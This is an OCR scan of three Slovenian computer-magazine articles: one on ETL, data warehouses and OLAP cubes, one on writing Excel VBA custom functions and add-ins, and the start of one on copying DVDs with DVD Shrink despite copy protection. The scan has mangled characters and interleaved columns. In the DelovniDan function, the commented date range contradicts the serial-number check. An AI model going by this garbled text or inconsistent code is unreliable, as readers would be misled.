Idealno bi lahko rekli, da se »igramo« s podatki,
ne da bi s tem motili teko&e poslovanje in obre-
menjevali transakcijski sistem.

Polnjenje podatkovnega skladis¢a je bistve-
nega pomena.

Pri tem moramo podatke:
- predistiti (prenasamo samo kakovostne po-
datke, ne nepopolnih; kaj storiti s praznimi
polji (prazne vrednosti), kaj s podobnimi vred-
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nostmi polj in podobno),
- pretvoriti med razli¢nimi podatkovnimi tipi
(pretvoriti znak v $tevilko, besedilo v datum),
- povezati skupaj z razli¢nimi OLTP (iz zbirk
Access, Oracle, dBase, SQL 2000).

Ta proces imenujemo ETL — Extract(ion),
Transform(ation) & Load (pridobi, pretvori in
nalo%i oz. prenesi). Proces je klju¢nega pomena
tudi pozneje zaradi uporabe tehnologije OLAP
saj se nad podatki, ki se v tem procesu prenasa-
jo iz OLTP-ja v podatkovno skladise, izvajajo
analize. Skratka, na tem mestu dolo¢imo, katere
podatke bomo analizirali pozneje z OLAP-om,
saj podatkov, ki jih v procesu ETL ne prenasa-
mo, ne moremo vkljucevati pozneje v nobene
analize. NajteZje delo je ravno na tem mestu, saj
odlotitev, kaj, kako in zakaj prenasati, veliko-
krat odlo¢a o »usodi« podatkovnega skladis¢a.
Podatki, e zlasti ¢e vstopajo v proces ETL iz
razli¢nih virov, morajo biti po kon¢anem pro-
cesu med seboj uparjeni oziroma se morajo med
seboj pravilno povezovati, sicer nimajo pome-
na. Znano je, da rav-

skladid¢e iz ve& virov, je treba za vsak vir dolo-
&iti odgovornega. Zakaj? Predvsem zato, da so
v tem primeru doloceni ljudje, ki nadzorujejo
vire in sproti obve$¢ajo, do kaksnih sprememb
lahko pride na viru. Ce skrbnik procesov ETL
dobi te informacije, se lahko vnaprej pripravi
in ¥e vnaprej dopolni procedure ETL, in po-
tem ni nobenega preseneenja, ko se vir do-
polni ali spremeni — vse poteka transparentno.
V nasprotnem primeru proces ETL ponoci ne
uspe in treba je raziskati, kaj je problem — to
pa nam ponavadi vzame veliko ¢asa in temu se
moramo izogibati v najvedji mo#ni meri. Sam
sem Ze imel take izku¥nje, ko sem porabil kar
nekaj Casa za odkrivanje napak na viru, ki so se
pozneje izkazale kot izbolj$ave na viru — ven-
dar te informacije nisem dobil in nisem mogel
vnaprej popraviti (dopolniti) procedur ETL za
polnjenje podatkovnega skladista. Ze en dan
pozneje pridobljena informacija lahko pomeni
dva dni dela — ne samo dopolnjevanje procedur
ETL kot prenaanje ogromne koli¢ine poda-
tkov sredi dneva, ko OLTP sistem e delujejo
s polno paro. Posebej se taki problemi izka¥ejo
v sistemih, kjer se vsako no¢ s procesom ETL
prenasa nekaj sto milijonov vrstic v relacijskih

tabelah.

no povezovanje poda-
tkov iz razli¢nih virov
obsega priblifno 80
% celotnega projekta
izdelave tipi¢nega po-
datkovnega skladis¢a,
kar je pravzaprav lo-
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idealno priloZnost po-
enotiti metapodatke
in si izdelati podatkovni slovar oziroma repozi-
torij (repository). Metapodatki so podatki o po-
datkih, kar pomeni, da metapodatki opisujejo,
kaj pomenijo podatki. Na primer, metapodatki
so definicije, kaj pomenijo ime, priimek, na-
slov, zvestoba kupca, razred, v katerega kupec
»pade«, in podobno. Brez metapodatkov pozne-
je pri uporabi tehnologije OLAP nad podatki v
podatkovnem skladis¢e preprosto ne gre. Le od
kod bomo pri analizah vedeli, kaj pomeni vsako
polje tabele, oziroma kako bomo vedeli, kako
moramo narediti analizo prodaje po mesecih in
prodajnih enotah, ¢e pa ne vemo, katera polja
moramo uporabljati za prodajno enoto!?
Pomembno pri procesu ETL je tudi dolo¢itev
odgovornosti za vire. Ce polnimo podatkovno

Slika 1: Podatkovno skladiSce in dostop do podatkov

Po procesu ETL napolnimo podatkovno
skladisce v doloCenih ¢€asovnih intervalih.
Privzemimo, da imamo v podatkovnem skla-
disce vse podatke kakovostne in urejene, tako
da je naSe delo le Se analiziranje. Pri tem je
tehnologija OLAP kot nalas¢ za to delo, saj v
osnovi ponuja pogled na agregirane podatke z
ve¢ dimenzij. Za primer vzemimo poslovanje
multinacionalnega podjetja po svetu. Ce ho-
Cemo analizirati prodajo tega podjetja, mora-
mo najprej vedeti, za kateri kraj bomo gledali
(celina, dr¥ava, mesto), naziv trgovine (krat-
ko ime, dolgo ime), &as nakupa (leto, mesec,
dan, ura), stranko (po3tna 3tevilka, priimek)
in izdelek/storitev (kategorija, tip, kakovost).



Torej lahko na prodani izdelek gledamo z ve&
dimenzij, kot so dimenzije &asa, kraja, stran-
ke in podobno. Temu strokovno pravimo, da
gledamo na podatke v podatkovnem skladiste
veddimenzionalno — z ved vidikov naenkrat.
To 3e ne pomeni, da moramo vedno za vsak
izdelek upostevati vse dimenzije (vidike), rav-
no nasprotno, v analize vklju¢imo tiste dimen-
zije, ki nas trenutno zanimajo in so zanimive
za analiziranje. Kaj gledamo prek dimenzij?
Ponavadi gledamo neko opravljeno transak-
cijo (nakup, prodaja, najem in podobno); za
vsako transakcijo pa dolo¢imo, kaj od tega bo
merljivo oziroma $tevno. Pri nakupu je to cena
izdelka, pri telefonskem klicu je to dol¥ina kli-
ca, vrednost klica in podobno. Vedno mora-
mo vnaprej dolo¢iti glede na katero merljivo
koli¢ino bomo pregledovali podatke prek ve&
dimenzij. Najbolj klasi¢en primer je na sliki
2, kjer je prikazana prodaja izdelkov glede na
kraj in &as. Za vsak izdelek (jabolka, hruske,
banane, pomarance) lahko dolo¢imo, kje je bil
prodan (Ljubljana, Celje, Maribor,vKopver) inv
lgaterem Cetrtletju je bil prodan (C1, C2, C3,
C4), torej gledamo nakup skozi tri dimenzije
— izdelek, kraj in ¢as.

Kje pa se pravzaprav skriva cena nakupa 5 kg
jabolk, ki so bila prodana v Kopru v 1. getrtlet-
ju? Ta vrednost je merljiva vrednost, skriva pa
se v preseCiSu dimenzij kraja, Casa in izdelka
(900 SIT, 5 kg). Tabel, v kateri shranjujemo po-

i

Celje

Maribor

Dimenzija kraja

900 8T
s

3
7

&1 &2 (o= T 1

Dimenzija ¢asa
Slika 2: Kocka: dimenzije kraja, ¢asa in izdelka ter dejstva

datke, pravimo tabela dejstev (fact table). Me-
rimo torej teZo in ceno kupljenih izdelkov — to
so dejstva. Casovno dimenzijo lahko s hierarhi-
jo razdelimo na leto, mesece, dneve, del dneva,
uro, minuto; dimenzijo kraja pa lahko na celi-
no, dr¥avo, mesto, kraj; izdelek pa lahko glede
na tip izdelka, kategorijo izdelka in podobno.
Zdaj vemo, kaj so dimenzije in kaj je tabela
dejstev — oboje skupaj pa lahko preprosto poi-
menujemo kocka, kar je dobro vidno na sliki 2.
V tabelari¢nem pogledu bi bilo to videti,
kot je prikazano v tabeli 4. Najprej so v tabe-
lah 1-3 prikazane vse dimenzije, v tabeli 4 pa
so vpisana dejstva, ko jih prikazuje kocka na

sliki 2.
Tabela dejstev v
1 Ljubljana nasem primeru pri-
2 Celie kazuje prodajo sadja
3 Maribor glede na ¢as, kraj in
4 Koper vrsto sadja. Za dolo-
Tabela 1: &eno C&etrtletje lahko

dimenzija krajev analiziramo, koliko

ldéasa  Cas kg sadja je bilo proda-
1 2004-C1 no in kak3na je skup-
2 2004-G2 na prodajna vrednost
3 2004-C3 tega sadja v tolarjih.
4 2004-C4 Prav tako lahko obr-
Tabela 2: nemo pregledovanje

in Zelimo analizira-
ti, katero sadje se je

dimenzija krajev

| [zdelka lele najbolj prodajalo v
1 jabolka prvem Cetrtletju leta
2 hruske 2004 in v katerem
3 banane kraju. Zdaj %e pocasi
4 pomarance prehajamo na bistve-
Tahela 3: no lastnost uporabe
dimenzija izdelkov tehnologije OLAP -
Id kraja  Id éasa  Id izdelka Cena [SIT] Kolicina

[kal

4 1 1 900 5

1 4 2 400 3

Tabela 4: tabela dejstev

glede na podatke, ki jih imamo v podatkovnem
skladis€u, lahko izvajamo razli¢ne analize. Ce
je dimenzij $e vec, so analize lahko toliko za-
nimivejse in kompleksnejse. Zelo preproste so
tudi analize primerjave prodaje istega sadja po
istih mesecih v ve& letih, ko ho¢emo primerja-
ti med seboj prodajo jabolk v januarju v letih
2000-2005. Tehnologija OLAP na tem mestu
upravici svoj obstoj in uporabnost. To bi se si-
cer dalo z nekaj truda narediti tudi z uporabo

podatkovne zbirke

<> S tehnologijo OLAP lahko
izvajamo najrazlicnejSe analize in

poizvedbe nad podatki v podatkovnem
skladisce, ne da bi s tem motili trenutno
delovanje sistema OLTP.

stavkov SQL, vendar ne pozabimo, da je lahko
jezik SQL razmeroma te¥aven za uporabo Ze
pri navidez enostavnih analizah. S tehnologijo
OLAP pa to pomeni nekaj klikanja pri uporabi
Carovnika in analiza je Ze pripravljena.

OLAP V SVETU

Tehnologija OLAP je v svetu vefinoma v
velikih koncernih nepogresljivo orodje. Za
pregled orodij lahko v spletu poiscete klju¢ni
besedi »OLAP tools /| OLAP orodja« in nasli
boste kopico orodij OLAP. Velikokrat je pri
izgradnji podatkovnega skladig¢a dobro razmis-
ljati tudi o orodju, ki se bo pozneje uporablja-
lo pri analiziranju podatkov — ne smete pa se
preved usmeriti na zmogljivosti orodja OLAP,
ki ga boste pozneje uporabljali, ker si lahko se
premislite. Nekatera orodja ponujajo dodatke,
ki jih druga orodja ne vsebujejo, zopet odvisno
od tega, kako kompleksne analize boste potre-
bovali. V osnovi pa so vsa orodja OLAP enaka,
razlikujejo se predvsem po prikazu podatkov
in mo#nostih izrisovanja grafov, jedro orodja
pa je za orodja OLAP ve¢ ali manj enako. W
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Excelove funkcije

FUNKGIJE PO MERI

Excel vsebuje vec kot 300 funkcij. Pristejemo lahko Se mnoge v dodatkih (add-ins).
Kljub vsej tej nepregledni mnoZzici funkcij potrebujemo tudi lastne funkcije. V tem
Clanku bomo predstavili tri. Vsaka pokriva enega od razlogov, ki nam narekujejo

razvoj lastnih funkcij.

PiSe: Samo Rubin
samo.rubin@mojmikro.si

unkcija Uporabnik bo zapolnila vrzel, ki

so si jo privod¢ili razvijalci Excela, ko vanj

niso dodali funkcije, ki vrne ime uporab-

nika. Specifi¢ne potrebe nasega okolja bo
predstavljala funkcija DelovniDan, ki bo odgo-
vorila, ali je v funkciji posredovani datum delo-
vni dan v Sloveniji. Poenostavitev uporabniko-
vega dela in skraj¥anje formul pa bomo prikazali
s funkcijo CeNapaka.

Izdelava lastnih funkcij je za povpre¢nega
programerja lahko opravilo. TeZave pa povzroca
kopica malenkosti, ki jih moramo poznati, da
je uporabnost funkcij taka, kot si elimo. Ker je
udenje najucinkovitejie, ¢e temelji na stvarnih
zgledih, se lotimo razvoja prve funkcije Uporab-
nik.

Funkcija Uporabnik

Odprimo nov zvezek in ga shranimo pod
imenom LastneFunkcije.xls. Funkcije piSemo v
urejevalniku VB (Visual Basic). Urejevalnik
najhitreje priklicemo s kombinacijo tipk Alt+-
F11. Nato kliknemo na ime delovnega zvezka
v oknu Project — VBAProject ter vstavimo nov
modul (Vstavljanje/Modul, Insert/Module).

V desno prazno okno vtipkamo kodo funkcije

Uporabnik.

Function Uporabnik()

" Funkcija vrne ime uporabnika
Uporabnik = Application.UserName
End Function

.' L R e B [l Rk Edes B =8
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Uporabnik pogosto uporabljamo pri pripravi poro-
¢il, kjer je na koncu naveden podatek o priprav-
ljavcu porotila. Ce smo imeli v celici A34 zapisano
besedilo »Porotilo pripravil(a): Marko Poro¢nik«
in smo vsakokrat preverili oz. posodobili ime upo-
rabnika, lahko zdaj s funkcijo Uporabnik delo po-
polnoma avtomatiziramo. V celico A34 vnesemo
=«Porocilo pripravil(a): » & Uporabnik().

V Excel vdelane funkcije so dosegljive prek
menija Vstavljanje\Funkcija (Insert\Function),
ki priklice pogovorno okno, kjer so funkcije
razvriene glede na zvrst, v katero sodijo. Nasa
nova funkcija sodi v zvrst Lastne (Custom), a je
prikazana v seznamu le, & imamo odprto dato-
teko, kjer smo jo shranili. Da lastnih funkcij ni
smiselno shranjevati v »navadni« Excelovi da-
toteki, nas dokonéno prepri¢a nacin uporabe.
Pri preizkusu naSe nove funkcije smo si lahko
privod¢ili v celico A1 zapisati =Uporabnik(), saj
smo funkcijo uporabili v tistem delovnem zvez-
ku, kjer smo jo tudi definirali. Ce funkcijo upo-
rabljamo v drugih delovnih zvezkih, moramo
pred njenim imenom zapisati $e ime delovnega
zvezka, torej =LastneFunkcije. xls! Uporabnik(). In
to e ni vse. Imenu delovnega zvezka je treba do-
dati $e celotno pot, ¢e delovni zvezek ni odprt.

Dodatki (Add-ins)

Dodatek je k Excelu pripeta datoteka, ki po-
vecuje obseg Excelovih funkcionalnosti. Doda-
tek je datoteka s kon&nico .xla. Izdelamo jo iz
obicajne (.xls) datoteke. Za izdelavo ne potre-
bujemo dodatnih programskih orodij.

Lastne funkcije shranjujemo v dodatkih. Raz-
logi so 3tevilni. Na-
§tejmo  najpomemb-
nejse:

e V dodatkih shra-

e :
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. njene funkcije lahko
1 uporabljamo v pol-
jubnem  delovnem
zvezku zgolj z naved-
bo imena funkcije.

e Lastne funkcije so
dosegljive prek meni-
= ja Vstavljanje\ Funkci-
=1 ja (Insert\Function).

Slika 1: Lastne funkcije izdelujemo v urejevalniku VB.

Preizkusimo delovanje funkcije. Urejevalnik
VBA zapremo, a ostanemo v delovnem zvezku
LastneFunkcije.xls. V poljubno celico, na primer
v celico Al, vnesemo =Uporabnik(). V celici Al
imamo poslej ime uporabnika. Gre za ime upo-
rabnika, ki je definiran kot uporabnik programa
Excel, in ne za uporabnisko ime, pod katerim je
uporabnik prijavljen v krajevno omre%je. Funkcijo
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e Dodatek se pre-

prosto namesti prek
menija Orodja\Dodatki (Tools\ Add-Ins). Ko je
dodatek namesten, se samodejno odpre ob za-
gonu Excela, pri ¢emer ni pomembna lokacija,
kjer je dodatek shranjen.
e Dodatki so »nevidni«. Vsi listi delovnega
zvezka so pri dodatkih skriti in jih ni mogoce
razkriti, kar pri uporabnikih zacetnikih prepre-
Cuje zmedo.

o Dodatki na podlagi zas&ite z gesli omogoc&ajo
enostavno omejitev dostopa do izvorne kode
funkcije.

Izdelajmo iz datoteke LastneFunkcije.xls doda-
tek LastneFunkcije.xla. Vse, kar moramo storiti,
je, da ob shranjevanju spremenimo konénico v
imenu datoteke iz xIs v xla. Sledi namestitev, ki
je, kot smo opisali %e pri razlogih za izdelavo do-
datkov, preprosta. V pogovornem oknu Dodatki
(Add-ins), ki ga priklicemo iz menija Orodja\
Dodatki (Tools\ Add-Ins), uporabimo gumb Pre-
brskaj (Browse) in odpremo datoteko xla, v na-
$em primeru datoteko LastneFunkcije.xla. S tem
smo dodatek LastneFunkcije vkljugili v seznam
Excelovih dodatkov. Dodatek je v uporabi, ¢e
je pred njegovim imenom kljukica.

Niodatkd

Slika 2: Pogovorno okno Dodatki z vkljuéenim dodatkom
LastneFunkeije

Funkcije izbiramo v pogovornem okno Vsta-
vi funkcijo (Insert/Function) ali Prilepi funkcijo
(Paste/Function) — ime se v razli¢icah Excela
razlikuje — do katerega pridemo prek menija
Vstavi funkcijo (Insert/Function). V oknu so
funkcije razvri¢ene glede na zvrst, v katero
sodijo. Lastne funkcije so privzeto vklju¢ene
v zvrst Lastne. Poglejmo, kako jih uvrstimo v
ustreznejSo zvrst. Prej pa odpravimo $e drugo
pomanjkljivost. Naga funkcija Uporabnik na-
mre¢ nima opisa.

Nadin podajanja opisa lastni funkciji je ne-
navaden. Prek menija Orodja/Makro/Makri
(Tools/Macro/Macros) prikli¢emo pogovorno
okno Makro (Macro). Okno prikazuje makre
(sub procedure), zato funkcij v seznamu ne
najdemo. V polje Ime makra (Macro name)
vnesemo ime funkcije in kliknemo na gumb
Mo#nosti (Options). Prika%e se pogovorno
okno Mo#nosti za makre (Macro Options), kjer
v polje Opis (Description) vnesemo opis funk-
cije.

Ce je natin podajanja opisa lastni funkciji
nenavaden, a vseeno izvedljiv prek menijev,
je uvri¢anje lastnih funkcij v ustrezno zvrst
redljivo tako nerodno, da uporabnik Zeljo
po razvri€anju pogosto opusti. Lastnih funk-
cij vendarle nimamo na pretek in marsikdo
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je zadovoljen, &e ostanejo vklju€ene v zvrst
Lastne. Zvrst funkciji dolo¢imo z makrom z
naslednjo vsebino:

Sub Auto_Open()

" Makro za uvrstitev funkcije v dologeno
zvrst

Application.MacroOptions Macro:=«Upo-

rabnik«, Category:=9

End Sub

Zvrst doloca lastnost Category, ki ji priredi-
mo ustrezno $tevilo. Stevilo razberemo kar iz
vrstnega reda naStetih zvrsti v pogovornem
oknu Vstavi funkcijo (Insert/Function), pri &e-
mer Stevilo O pripada zvrsti Vse (All), 1 zvrsti
Finance (Financial), 2 zvrsti Datum in ¢as (Date
& Time),...

Makro z imenom Auto_Open se izvede vedno,
ko uporabnik odpre datoteko, v kateri je makro
shranjen. Najprikladneje je makro shraniti kar
v dodatek, v naSem primeru torej v datoteko
LastneFunkcije.xla. Marsikateremu uporabniku
ni po volji, da Excel ob zagonu pro#i »nepotreb-
ne« makre. Dovolj je, da makro zaZenemo samo
enkrat, da Excel prerazporedi lastno funkcijo.
Pogosto pa lastne funkcije razvijamo za ve& upo-
rabnikov, ki niso vsi ve¢i poganjanja makrov.
V tem primeru smo se prisiljeni zate¢i k makru
Auto_Open.

Uredimo $e nekaj malenkosti pri dodatku
LastneFunkcije.xla. V urejevalniku VB v levem
oknu Project—-VBAProject izberemo na$ projekt
VBAProject (LastneFunkcije.xla) in priklicemo
okno za urejanje njegovih lastnosti iz menija
Orodja/VBAProject-Lastnosti ~ (Tools/VBAPro-
ject-Properties). Vnesemo novo ime projekta ter
kliknemo na zavihek Zas¢ita. Ker ne Zelimo, da
bi uporabniki spreminjali oziroma si ogledova-
li kodo nagih funkcij, bomo dodatek zas¢itili.
To storimo s potrditvijo polja Zakleni projekt za
ogledovanje (Lock Project for Viewing) in z vno-
som gesla (dvakrat). Koda ostane vidna. Excel
bo geslo za ogled kode zahteval ob naslednjem
odpiranju datoteke. Ob tem je treba vedeti, da
Excel ni orodje, ki bi zagotavljajo visoko stop-
njo varnosti, in &eprav sta razli¢ici Excela XP in
2003 na podrocju varnosti izbolj§ana, je mogo-
e tovrstno zadtito razbiti.

Funkcija DelovniDan

Excel ne vsebuje funkcije, ki bi odgovorila na
vpraSanje, ali je datum, posredovan kot element
funkcije, delovni dan. Izdelali bomo funkcijo
DelovniDan(Datum As Date) As Boolaen, ki bo
vrnila True, e je njen element Datum delovni
dan v Sloveniji, oziroma False, ¢e pomeni ne-
delovni dan. Nedelovni dnevi so sobote, nede-
lje in prazniki. Vsi prazniki v Sloveniji, razen
velikono¢nega ponedeljka, so na isti dan v letu.
Ker avtorju ¢lanka niso poznani datumi veliko-
no¢nih ponedeljkov po letu 2008 in pred letom
1999, ima funkcija omejitev v delovanju. Delu-
je, ¢e je posredovani datum ved&ji od 1. 1. 1999,
in man;j§i od 1. 1. 2009. Za povecanje obsega
delovanja funkcije moramo, na mesto, oznade-
no s komentarjem, dodati datume velikono¢nih
ponedeljkov.

Koda funkcije DelovniDan:
Function DelovniDan(Datum As Date) As Boolean
' Funkcija DelovniDan vrne TRUE, Ce je njen element Datum delovni dan v
' Sloveniji oz. FALSE, ¢e predstavlja nedelovni dan.
' Funkcija ne deluje, ¢e je element Datum man;jSi od 1.1.1999 in vedji od 1.1.2009.
' Obseg povecamo z vnosom datumov velikonoénih ponedeljkov
Dim Dan As Integer
Dim Mesec As Integer
Dan = Day(Datum)
Mesec = Month(Datum)
If Datum < 36892 Or Datum > 39813 Then
DelovniDan = 1 / 0 ' Sprozimo napako, ker je datum izven obsega
Elself WeekDay(Datum, vbMonday) = 6 Then 'Sobota
DelovniDan = False
Elself WeekDay(Datum, vbMonday) = 7 Then 'Nedelja
DelovniDan = False
Elself Dan = 1 And Mesec = 1 Then DelovniDan = False '1.1
Elself Dan = 2 And Mesec = 1 Then DelovniDan = False '2.1
Elself Dan = 8 And Mesec = 2 Then DelovniDan = False '8.2
Elself Dan = 27 And Mesec = 4 Then DelovniDan = False '27.4
Elself Dan = 1 And Mesec = 5 Then DelovniDan = False '1.5
Elself Dan = 2 And Mesec = 5 Then DelovniDan = False '2.5
Elself Dan = 25 And Mesec = 6 Then DelovniDan = False '25.6
Elself Dan = 15 And Mesec = 8 Then DelovniDan = False '15.8
Elself Dan = 31 And Mesec = 10 Then DelovniDan = False '31.10
Elself Dan = 1 And Mesec = 11 Then DelovniDan = False '1.11
Elself Dan = 25 And Mesec = 12 Then DelovniDan = False '25.12
Elself Dan = 26 And Mesec = 12 Then DelovniDan = False '26.12
' Velikonocni ponedeljki
Elself Datum = 36255 Or Datum = 36640 Or Datum = 36997 Or Datum = 37347 Or _
Datum = 37732 Or Datum = 38089 Or Datum = 38439 Or Datum = 38824 Or _
Datum = 39181 Or Datum = 39531 Then
DelovniDan = False
Else
DelovniDan = True
End If
End Function

Uporabnost fukci-
je DelovniDan bomo
prikazali na kom-
pleksnejsem  zgledu.
Funkcijo bomo upo-
rabili v pogojnem
oblikovanju.  Zgled
na sliki prikazuje pre-
glednico, ki vsebuje
podatke o porabi pli-
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mo iz »Vrednost celice je« v
»Formula je« , v drugo pol-
je zapiSemo funkcijo =De-
lovniDan($B5)=FALSE in
nazadnje $e dolo¢imo obli-
ko (na primer sivo ozadje).
Po potrditvi imamo po-
gojno oblikovano obmotje
B5:D5, zato moramo ob-
likovanje tega obmocja $e
preslikati ez celotno pre-
glednico s podatki.

Funkcija CeNapaka

Ce funkcija ne more
pravilno izracunati rezul-
tata, Excel izpiSe vrednost
napake (npr.: #VREDN/,
#N/V, #IME?,..). Oznaka
za napako je lahko zelo
moteca in vasih tudi pov-
sem odved. Vzemimo, da
s funkcijoX prikazujemo
podatke o trenutnem sta-
nju zalog svojih poslovnih
partnerjev. Primer predvi-
deva, da ob&asno nimamo
stanja za katerega od po-
slovnih partnerjev. Excel
takrat izpiSe napako #N/V
(ni vrednosti). Uporabnik
dobi obcutek, da je upo-
raba funkcijeX napa¢na.
Kako dose¢i, da bo Excel
v tak3nih primer izpisal ob-
vestilo »Ni podatka«.

Resitev smo predstavili

‘i.

na za zadnjih 14 dni.
V stolpcu B imamo
datum, v stolpcu C
stanje Stevca in Vv
stolpcu D porabo.

ATE . T 7T T
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Preglednica je avto-

Slika 3: Lastne funkcije lahko uporahljamo tudi pri pogojnem oblikovanju.

matizirana. Datumi

se vsak dan povecajo za en dan in stolpca C in
D se ustrezno posodobita. Ker je poraba plina
v veliki meri odvisna od tega, ali je dan delo-
vni, Zelimo vrstice, ki pomenijo nedelovne dni,
oznaditi. Seveda pa mora biti tudi oznalevanje
avtomatizirano.

Uporabimo pogojno oblikovanje. Oznagimo
eno vrstico v preglednici (na primer obmocje
B5:D5) in prek menija Oblika/Pogojno oblikova-
nje (Format/Conditional Formating) priklicemo
pogovorno okno Pogojno oblikovanje (Conditio-
nal Formating). Vsebino prvega polja spremeni-

v prejinji Stevilki Mojega mikra. Videti je bila
takole: =If(IsError(funkcijaX);Y;funkcijaX). Z
uporabo funkcij If in IsError doseZemo, da Excel
vrne Y (npr. besedilo »Ni podatka«), & Funkci-
jaX vrata napako, sicer vrne rezultat FunkcijeX.
Resitev je dobra, ima le to napako, da prvotno
funkcijo zapiSemo dvakrat. S tem pa lahko po-
stane %e prej zelo dolga funkcija nepregledna.
Lastna funkcija CeNapaka nam poenostavi
delo. Vsebuje dva elementa. Prvi element je
prvotna funkcija, drugi element pa poljubno
nadomestilo, ki ga funkcija CeNapaka vrne, ce
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je rezultat prvotne funkcije napaka. Ce prvotna
funkcija ne vrne napake, funkcija CeNapaka
vrne rezultat prvotne funkcije.

Koda funkcije CeNapaka :
Function CeNapaka(FunkcijaX As Variant, Nadomestilo As
Variant)
* Ce FunkcijaX vrne napako, je rezultat funkcije CeNapaka
element Nadomestilo
* Ce FunkcijaX ne vine napake, funkcija CeNapaka vrne re-
zultat funkcije FunkcijaX
If IsError(FunkcijaX) Then
CeNapaka = Nadomestilo
Else
CeNapaka = FunkcijaX
End If
End Function
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Slika 4: Zgled kompleksnejSe funkcije, ki jo z uporaho
lastne funkcije skrajSamo za polovico.

Zgornja slika prikazuje zgled izdelave poro&ila
Abktualno stanje privilegiranih poslovnih partnerjev,
ki smo ga izdelali v prej¥nji $tevilki Mojega mi-
kra, ko Se nismo imeli na voljo lastne funkcije
CeNapaka. Zdaj lahko vsebino celic D8, D9 in
D10 poenostavimo. Vsebina celice D9 se tako
iz =IF(ISERROR(VLOOKUP(B$5;[Porocilo.
xls]Podatki! A:];MATCH(B8;[Poroc¢ilo.xls]Po-
datkl'A$2]$2,o),O)),«Nl podatka«;VLOOKU—
P(B$5;[Porocilo.xls]Podatki! A:J; MATCH(BS;|-
Poroéilo.xls]Podatki! A$2:J$2;0);0)) poenostavi
v =CeNapaka(VLOOKUP(B$5;[Porocilo.xls]-
Podatki! A:J;MATCH(B9; [Porocilo.xls]Podatki-
'A$2]$2,0),O),«Nl podatka«).

FUNKCIJE NISO VSEMOGOCNE

Za sklep velja ponoviti, da funkcije vedno
vradajo zgolj rezultat. Z njimi ne moremo iz-
vajati akcij na Excelovih objektih. Uporabniki
pogosto Zelijo funkcijo, s katero bi oblikovali
celice. Taksne funkcije ni mogo&e napisati. Za
oblikovanje celic uporabimo pogojno obliko-
vanje, kjer lahko uporabimo vse (Excelove, v
dodatke vkljuene in lastne) funkcije.
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|Z ENEGA V DRUGO

IN NAZAJ

Pred slabim desetletjem je bil glavni hit MP3. Kje dobiti pesmice, kako jih najbolje
stisniti, kako jih predvajati in podobno so bile zelo pogoste teme pogovorov. Nato se
je ta »tehnologija« preselila v svet filma. In zdaj smo spet pred vprasanji, kje dobiti

filme, kako jih stisniti, kako predvajati ...

Pise: Zoran Banovié
zoran.banovic@mojmikro.si

zaletku je bilo podobno kot pri vsaki novi

tehnologiji — programi za tovrstno delo s

filmi so bili po zmogljivosti zelo skromni,

hkrati pa je bilo za delo z njimi potrebno
veliko znanja. Novi nadini stiskanja podatkov
so namre¢ vsebovali kup parametrov, ki jih je
uporabnik moral vnesti, &e je hotel dobiti kak
rezultat. A stvari so §le naprej. Razvijali so se
novi kodirniki, ki so filme bolje stisnili, hkrati
pa ohranjali kakovost, ki je zdaj v¢asih %e pri-
merljiva z DVD, nastajali pa so tudi vedno novi
programi, ki so omogo¢ali izdelavo filmov zado-
voljive kakovosti tudi uporabnikom, ki ne ob-
vladajo teorije.

In kje smo zdaj? Pravzaprav zelo dale&. Brez-
pla¢no ali za placilo je mogo&e dobiti programe,
ki znajo prekopirati DVD, iz DVD-ja narediti
DivX, iz DivX-a narediti DVD, urejati podna-
pise in Se kaj. O vsem tem smo Ze pisali, a ker se
je v zadnjih mesecih marsikaj spremenilo, smo
se odlotili spet pogledati, kako in kaj.

DVD V DVD
Kupili smo film na DVD-ju. Ker tudi tak$ne
plo3¢e niso vecne, zlasti ¢e jih v roke dobijo
otroci, smo se odlo¢ili, da naredimo rezervno
kopijo. Toda kako?
Ceprav zakon, ki §¢i- Ahondaimel it
ti avtorske pravice, & a
dovoljuje  izdelavo | = ==
varnostnih kopij, &e
smo lastniki origina-
la, to vedno ni naj-
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dovoljuje  izdelavo
kopij, a se s tem naj-
bolj ne strinjajo zalo-
*niki oziroma lastniki
avtorskih pravic. Ker
imajo slabe izkusnje,
so se odlo&ili pozviz-
gati na to dologilo in
uvedli razli¢ne nacine
zaicite, ki naj bi one-
mogocile kopiranje.
A kot vedno v podo-
bnih primerih je bil
nadin, kako to zas¢ito |
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preden je bila zai¢ita kot taka uveljavljena s
strani zaloznikov.

Kako torej prekopirati DVD? Orodij za to je
veliko in &e boste vpragali naokoli, katero orod-
je je najboljse, boste dobili veliko razli¢nih od-
govorov. Nekdo bo hvalil DVD Decrypter, dru-
gi bo stavil na CloneDVD, tretji na ... No, nasa
izbira je DVD Shrink. Program %e nekaj Casa
ni doZivel sprememb, tako da je trenutno ak-
tualna razli¢ica 3.2.0.15 znana %e nekaj ¢asa. In
zakaj smo se odlo¢ili za DVD Shrink? Razlogov
je ve&, najpomembnejia pa sta dva: svoje delo
dobro opravi in je enostaven za uporabo.

Kako torej prekopirati DVD z DVD Shrin-
kom? Najprej je program seveda treba namesti-
ti, kar lahko storite prek nasega MikroCD-ja,
kjer ga boste nagli v rubriki Mikro na Mikro.
Nato ga seveda za¥enemo.

V pogon vstavimo DVD, ki bi ga radi pre-
kopirali, in v programu izberemo Open Disc,
kjer dolo¢imo, v katerem pogonu je na§ DVD.
Program ga bo prebral, nato pa prikazal njegovo
vsebino. No, zdaj pa je potrebno nekaj malega
teorije oziroma poznavanja razlike med kuplje-
nim DVD-jem in medijem, na katerega bomo
prekopirali na§ DVD. Osnovna razlika je v ko-
li¢ini podatkov, ki jih je mogoce shraniti nanje.
Na medije DVD-R je mogoce shraniti okoli
4,5 GB podatkov. To je dvakrat manj kot pa je
zmogljivost natisnjenih medijev, ki jih kupimo.

zaobiti, objavljen, e

DVD Shrink - z odstranjevanjem odveénih zvokov lahko privaréujemo nekaj prostora.



V PRAKSI

Osnovna naloga vseh programov za kopiranje
DVD-jev je v tem, kako film skreiti na velikost
medija DVD-R. Ena metoda je odstranjeva-
nje odvednega materiala. To je na primer zvok
(zvo&ni tokovi) v razli¢nih jezikih. Na DVD-jih
je obicajno poleg originalnega zvoka tudi eden
ali ve¢ sinhroniziranih v drugih jezikih. Ce nam
je na primer dovolj original, lahko odstranimo
vse druge. A to $e ni dovolj. Najve& prostora
namred ne zasede zvok, ampak slika. To pa je
mogoce zmanj¥ati le s ponovnim kodiranjem,
kjer se uporabi manjsi pretok podatkov in se s
tem privarcuje pri prostoru. In vse nasteto dela
DVD Shrink.

Ko program pregleda disk, nam v okencu
Compression  settings prikaZe elemente diska,
hkrati pa tudi izratunano odstotno vrednost
zmanjSanja hitrosti pretoka podatkov. Izratun
je narejen tako, da bo kon&ni izdelek vedno
